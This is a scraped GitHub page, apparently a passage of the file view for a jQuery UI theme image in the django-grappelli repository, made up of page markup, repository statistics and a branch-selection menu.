<meta name="hostname"
content="github.com">
<meta name="user-login" content="">
<meta name="expected-hostname"
content="github.com">
<meta name="js-proxy-site-detection-payload"
content="M2NlMDcwNjMxYWEyNDI2NGFjY2Q3YzEyNjFhZjU5NzcwY2Y2YmYyZWE5Mjc3NzVjZWMwYmQ0ZDVhZDhjMDRlZnx7InJlbW90ZV9hZGRyZXNzIjoiMTEzLjE5MC4yNTQuMjM5IiwicmVxdWVzdF9pZCI6IjcxQkVGRUVGOjI3QzU6MTk5QkM0MUE6NTg3Qzk3QjIiLCJ0aW1lc3RhbXAiOjE0ODQ1NjAzMTAsImhvc3QiOiJnaXRodWIuY29tIn0=">
<link rel="mask-icon"
href="https://assets-cdn.github.com/pinned-octocat.svg"
color="#000000">
<link rel="icon" type="image/x-icon"
href="https://assets-cdn.github.com/favicon.ico">
<meta name="html-safe-nonce"
content="0754deac85573f6da8ddcd69e5a491b9a8064bdd">
<meta http-equiv="x-pjax-version"
content="6182178810b65c12b6895178ee61bf5a">
<meta name="description" content="django-grappelli - A
jazzy skin for the Django Admin-Interface (official repository).">
<meta name="go-import"
content="github.com/sehmaschine/django-grappelli git
https://github.com/sehmaschine/django-grappelli.git">
<meta content="185432"
name="octolytics-dimension-user_id" /><meta
content="sehmaschine"
name="octolytics-dimension-user_login" /><meta
content="580566"
name="octolytics-dimension-repository_id" /><meta
content="sehmaschine/django-grappelli"
name="octolytics-dimension-repository_nwo" /><meta
content="true"
name="octolytics-dimension-repository_public" /><meta
content="false"
name="octolytics-dimension-repository_is_fork" /><meta
content="580566"
name="octolytics-dimension-repository_network_root_id"
/><meta content="sehmaschine/django-grappelli"
name="octolytics-dimension-repository_network_root_nwo" />
<link
href="https://github.com/sehmaschine/django-grappelli/commits/grappelli_2_4.atom"
rel="alternate" title="Recent Commits to
django-grappelli:grappelli_2_4"
type="application/atom+xml">
<link rel="canonical"
href="https://github.com/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-pjax-transient>
</head>
<body class="logged-out env-production windows vis-public
page-blob">
<div id="js-pjax-loader-bar"
class="pjax-loader-bar"><div
class="progress"></div></div>
<a href="#start-of-content" tabindex="1"
class="accessibility-aid js-skip-to-content">Skip to
content</a>
<header class="site-header js-details-container Details
alt-body-font" role="banner">
<div class="container-responsive">
<a class="header-logo-invertocat"
href="https://github.com/" aria-label="Homepage"
data-ga-click="(Logged out) Header, go to homepage,
icon:logo-wordmark">
<svg aria-hidden="true" class="octicon
octicon-mark-github" height="32" version="1.1"
viewBox="0 0 16 16" width="32"><path
fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29
6.53 5.47 7.59.4.07.55-.17.55-.38
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01
1.08.58 1.23.82.72 1.21 1.87.87
2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95
0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18
1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16
1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65
3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013
8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
</a>
<button class="btn-link float-right site-header-toggle
js-details-target" type="button" aria-label="Toggle
navigation">
<svg aria-hidden="true" class="octicon
octicon-three-bars" height="24" version="1.1"
viewBox="0 0 12 16" width="18"><path
fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1
.59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0
4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59
11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1
.59-1z"/></svg>
</button>
<div class="site-header-menu">
<nav class="site-header-nav site-header-nav-main">
<a href="/personal"
class="js-selected-navigation-item nav-item nav-item-personal"
data-ga-click="Header, click, Nav menu - item:personal"
data-selected-links="/personal /personal">
Personal
</a> <a href="/open-source"
class="js-selected-navigation-item nav-item nav-item-opensource"
data-ga-click="Header, click, Nav menu - item:opensource"
data-selected-links="/open-source /open-source">
Open source
</a> <a href="/business"
class="js-selected-navigation-item nav-item nav-item-business"
data-ga-click="Header, click, Nav menu - item:business"
data-selected-links="/business /business/partners /business/features
/business/customers /business">
Business
</a> <a href="/explore"
class="js-selected-navigation-item nav-item nav-item-explore"
data-ga-click="Header, click, Nav menu - item:explore"
data-selected-links="/explore /trending /trending/developers
/integrations /integrations/feature/code /integrations/feature/collaborate
/integrations/feature/ship /showcases /explore">
Explore
</a> </nav>
<div class="site-header-actions">
<a class="btn btn-primary site-header-actions-btn"
href="/join?source=header-repo" data-ga-click="(Logged out)
Header, clicked Sign up, text:sign-up">Sign up</a>
<a class="btn site-header-actions-btn mr-1"
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli%2Fblob%2Fgrappelli_2_4%2Fgrappelli%2Fstatic%2Fgrappelli%2Fjquery%2Fui%2Fcss%2Fcustom-theme%2Fimages%2Fui-bg_highlight-soft_75_cccccc_1x100.png"
data-ga-click="(Logged out) Header, clicked Sign in,
text:sign-in">Sign in</a>
</div>
<nav class="site-header-nav site-header-nav-secondary
mr-md-3">
<a class="nav-item"
href="/pricing">Pricing</a>
<a class="nav-item"
href="/blog">Blog</a>
<a class="nav-item"
href="https://help.github.com">Support</a>
<a class="nav-item header-search-link"
href="https://github.com/search">Search GitHub</a>
<div class="header-search scoped-search
site-scoped-search js-site-search" role="search">
<!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="/sehmaschine/django-grappelli/search"
class="js-site-search-form"
data-scoped-search-url="/sehmaschine/django-grappelli/search"
data-unscoped-search-url="/search"
method="get"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="✓" /></div>
<label class="form-control header-search-wrapper
js-chromeless-input-container">
<div class="header-search-scope">This
repository</div>
<input type="text"
class="form-control header-search-input js-site-search-focus
js-site-search-field is-clearable"
data-hotkey="s"
name="q"
placeholder="Search"
aria-label="Search this repository"
data-unscoped-placeholder="Search GitHub"
data-scoped-placeholder="Search"
autocapitalize="off">
</label>
</form></div>
</nav>
</div>
</div>
</header>
<div id="start-of-content"
class="accessibility-aid"></div>
<div id="js-flash-container">
</div>
<div role="main">
<div itemscope
itemtype="http://schema.org/SoftwareSourceCode">
<div id="js-repo-pjax-container" data-pjax-container>
<div class="pagehead repohead instapaper_ignore readability-menu
experiment-repo-nav">
<div class="container repohead-details-container">
<ul class="pagehead-actions">
<li>
<a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
class="btn btn-sm btn-with-count tooltipped tooltipped-n"
aria-label="You must be signed in to watch a repository"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-eye" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14
16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8
4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2
2-2 1.11 0 2 .89 2 2z"/></svg>
Watch
</a>
<a class="social-count"
href="/sehmaschine/django-grappelli/watchers"
aria-label="113 users are watching this repository">
113
</a>
</li>
<li>
<a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
class="btn btn-sm btn-with-count tooltipped tooltipped-n"
aria-label="You must be signed in to star a repository"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-star" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6
3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
Star
</a>
<a class="social-count js-social-count"
href="/sehmaschine/django-grappelli/stargazers"
aria-label="2013 users starred this repository">
2,013
</a>
</li>
<li>
<a
href="/login?return_to=%2Fsehmaschine%2Fdjango-grappelli"
class="btn btn-sm btn-with-count tooltipped tooltipped-n"
aria-label="You must be signed in to fork a repository"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-repo-forked" height="16" version="1.1"
viewBox="0 0 10 16" width="10"><path
fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3
6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993
1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8
1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0
.65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2
0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2
1.2z"/></svg>
Fork
</a>
<a href="/sehmaschine/django-grappelli/network"
class="social-count"
aria-label="518 users forked this repository">
518
</a>
</li>
</ul>
<h1 class="public ">
<svg aria-hidden="true" class="octicon
octicon-repo" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
<span class="author" itemprop="author"><a
href="/sehmaschine" class="url fn"
rel="author">sehmaschine</a></span><!--
--><span class="path-divider">/</span><!--
--><strong itemprop="name"><a
href="/sehmaschine/django-grappelli"
data-pjax="#js-repo-pjax-container">django-grappelli</a></strong>
</h1>
</div>
<div class="container">
<nav class="reponav js-repo-nav js-sidenav-container-pjax"
itemscope
itemtype="http://schema.org/BreadcrumbList"
role="navigation"
data-pjax="#js-repo-pjax-container">
<span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
<a href="/sehmaschine/django-grappelli/tree/grappelli_2_4"
class="js-selected-navigation-item selected reponav-item"
data-hotkey="g c" data-selected-links="repo_source
repo_downloads repo_commits repo_releases repo_tags repo_branches
/sehmaschine/django-grappelli/tree/grappelli_2_4"
itemprop="url">
<svg aria-hidden="true" class="octicon
octicon-code" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
<span itemprop="name">Code</span>
<meta itemprop="position" content="1">
</a> </span>
<span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
<a href="/sehmaschine/django-grappelli/issues"
class="js-selected-navigation-item reponav-item"
data-hotkey="g i" data-selected-links="repo_issues
repo_labels repo_milestones /sehmaschine/django-grappelli/issues"
itemprop="url">
<svg aria-hidden="true" class="octicon
octicon-issue-opened" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0
4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0
6H6v2h2v-2z"/></svg>
<span itemprop="name">Issues</span>
<span class="counter">16</span>
<meta itemprop="position" content="2">
</a> </span>
<span itemscope itemtype="http://schema.org/ListItem"
itemprop="itemListElement">
<a href="/sehmaschine/django-grappelli/pulls"
class="js-selected-navigation-item reponav-item"
data-hotkey="g p" data-selected-links="repo_pulls
/sehmaschine/django-grappelli/pulls" itemprop="url">
<svg aria-hidden="true" class="octicon
octicon-git-pull-request" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0
0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0
1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65
0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34
4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2
1.2z"/></svg>
<span itemprop="name">Pull requests</span>
<span class="counter">2</span>
<meta itemprop="position" content="3">
</a> </span>
<a href="/sehmaschine/django-grappelli/projects"
class="js-selected-navigation-item reponav-item"
data-selected-links="repo_projects new_repo_project repo_project
/sehmaschine/django-grappelli/projects">
<svg aria-hidden="true" class="octicon
octicon-project" height="16" version="1.1"
viewBox="0 0 15 16" width="15"><path
fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0
0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
Projects
<span class="counter">0</span>
</a>
<a href="/sehmaschine/django-grappelli/pulse"
class="js-selected-navigation-item reponav-item"
data-selected-links="pulse
/sehmaschine/django-grappelli/pulse">
<svg aria-hidden="true" class="octicon
octicon-pulse" height="16" version="1.1"
viewBox="0 0 14 16" width="14"><path
fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38
8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
Pulse
</a>
<a href="/sehmaschine/django-grappelli/graphs"
class="js-selected-navigation-item reponav-item"
data-selected-links="repo_graphs repo_contributors
/sehmaschine/django-grappelli/graphs">
<svg aria-hidden="true" class="octicon
octicon-graph" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
Graphs
</a>
</nav>
</div>
</div>
<div class="container new-discussion-timeline
experiment-repo-nav">
<div class="repository-content">
<a
href="/sehmaschine/django-grappelli/blob/3982e45e4afb9e792160103b0942099b1a21663f/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="d-none js-permalink-shortcut"
data-hotkey="y">Permalink</a>
<!-- blob contrib key:
blob_contributors:v21:d1982990f80b75ba8ee10b453af012ff -->
<div class="file-navigation js-zeroclipboard-container">
<div class="select-menu branch-select-menu js-menu-container
js-select-menu float-left">
<button class="btn btn-sm select-menu-button js-menu-target
css-truncate" data-hotkey="w"
type="button" aria-label="Switch branches or tags"
tabindex="0" aria-haspopup="true">
<i>Branch:</i>
<span class="js-select-button
css-truncate-target">grappelli_2_4</span>
</button>
<div class="select-menu-modal-holder js-menu-content
js-navigation-container" data-pjax aria-hidden="true">
<div class="select-menu-modal">
<div class="select-menu-header">
<svg aria-label="Close" class="octicon octicon-x
js-menu-close" height="16" role="img"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd"
d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77
4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
<span class="select-menu-title">Switch
branches/tags</span>
</div>
<div class="select-menu-filters">
<div class="select-menu-text-filter">
<input type="text" aria-label="Filter
branches/tags" id="context-commitish-filter-field"
class="form-control js-filterable-field js-navigation-enable"
placeholder="Filter branches/tags">
</div>
<div class="select-menu-tabs">
<ul>
<li class="select-menu-tab">
<a href="#" data-tab-filter="branches"
data-filter-placeholder="Filter branches/tags"
class="js-select-menu-tab"
role="tab">Branches</a>
</li>
<li class="select-menu-tab">
<a href="#" data-tab-filter="tags"
data-filter-placeholder="Find a tag…"
class="js-select-menu-tab" role="tab">Tags</a>
</li>
</ul>
</div>
</div>
<div class="select-menu-list select-menu-tab-bucket
js-select-menu-tab-bucket" data-tab-filter="branches"
role="menu">
<div
data-filterable-for="context-commitish-filter-field"
data-filterable-type="substring">
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/autocomplete/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="autocomplete"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
autocomplete
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/compass/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="compass"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
compass
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/dev/2.5.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="dev/2.5.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
dev/2.5.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/dev/2.6.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="dev/2.6.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
dev/2.6.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/dev/2.7.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="dev/2.7.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
dev/2.7.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/dev/2.8.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="dev/2.8.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
dev/2.8.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/gh-pages/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="gh-pages"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
gh-pages
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappelli_2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappelli_2_1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_2_1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_2_1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappelli_2_2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_2_2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_2_2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappelli_2_3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_2_3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_2_3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open selected"
href="/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_2_4"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_2_4
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappelli_3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappelli_3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappelli_3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/grappellitest/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="grappellitest"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
grappellitest
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/haineault/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="haineault"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
haineault
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/master/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="master"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
master
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/revert-715-remove-inline-js-for-csp/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="revert-715-remove-inline-js-for-csp"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
revert-715-remove-inline-js-for-csp
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/sandbox/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="sandbox"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
sandbox
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.3.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.3.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.3.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.4.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.4.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
